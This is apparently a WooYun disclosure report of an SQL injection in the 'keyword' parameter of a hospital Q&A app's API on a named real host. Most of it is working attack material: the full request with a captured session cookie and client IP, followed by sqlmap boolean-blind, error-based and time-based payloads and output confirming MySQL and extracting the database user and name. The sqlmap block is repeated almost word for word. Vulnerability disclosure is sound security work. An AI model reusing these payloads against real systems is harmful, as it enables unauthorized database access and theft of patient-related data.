WooYun.org

GET /restbaiwen/question/get_question_list?hospital_id=NiTngf1oNmjxE3MTQyMTc2MDEw&keyword=&last_rec=0&page_size=20 HTTP/1.1 Host: nurse.capuhealth.com Cookie: yd_session=a%3A6%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22f23c8ed67d1600b6be13c54cf89cfbc3%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22221.237.31.106%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A54%3A%22%E5%8C%BB%E9%99%A2%E7%99%BE%E9%97%AE+1.5+rv%3A4.6+%28iPhone%3B+iPhone+OS+9.2%3B+zh_CN%29%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1450624887%3Bs%3A9%3A%22online_id%22%3Bs%3A0%3A%22%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D64b97cbd2d9db01a35d4e29d7c7b1ce3 User-Agent: 医院百问 1.5 rv:4.6 (iPhone; iPhone OS 9.2; zh_CN) Connection: close Accept-Encoding: gzip

注入参数#:keyword

Parameter: keyword (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: hospital_id=NiTngf1oNmjxE3MTQyMTc2MDEw&keyword=%' AND 1422=1422 AND '%'='&last_rec=0&page_size=20 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl ause Payload: hospital_id=NiTngf1oNmjxE3MTQyMTc2MDEw&keyword=%' AND (SELECT 8636 FROM(SELECT COUNT(*),CONCAT(0x716a786a71,(SELECT (ELT(8636=8636,1))),0x717a6b6a7 1,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '% '='&last_rec=0&page_size=20 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: hospital_id=NiTngf1oNmjxE3MTQyMTc2MDEw&keyword=%' AND (SELECT * FRO M (SELECT(SLEEP(5)))CKLr) AND '%'='&last_rec=0&page_size=20 --- [00:45:04] [INFO] the back-end DBMS is MySQL web application technology: Nginx, PHP 5.2.17 back-end DBMS: MySQL 5 [00:45:04] [INFO] fetching current user [00:45:04] [INFO] resumed: baiwen@% current user: 'baiwen@%'

Parameter: keyword (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: hospital_id=NiTngf1oNmjxE3MTQyMTc2MDEw&keyword=%' AND 1422=1422 AND '%'='&last_rec=0&page_size=20 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl ause Payload: hospital_id=NiTngf1oNmjxE3MTQyMTc2MDEw&keyword=%' AND (SELECT 8636 FROM(SELECT COUNT(*),CONCAT(0x716a786a71,(SELECT (ELT(8636=8636,1))),0x717a6b6a7 1,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '% '='&last_rec=0&page_size=20 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: hospital_id=NiTngf1oNmjxE3MTQyMTc2MDEw&keyword=%' AND (SELECT * FRO M (SELECT(SLEEP(5)))CKLr) AND '%'='&last_rec=0&page_size=20 --- [00:45:51] [INFO] the back-end DBMS is MySQL web application technology: Nginx, PHP 5.2.17 back-end DBMS: MySQL 5 [00:45:51] [INFO] fetching current database [00:45:51] [INFO] resumed: baiwen current database: 'baiwen'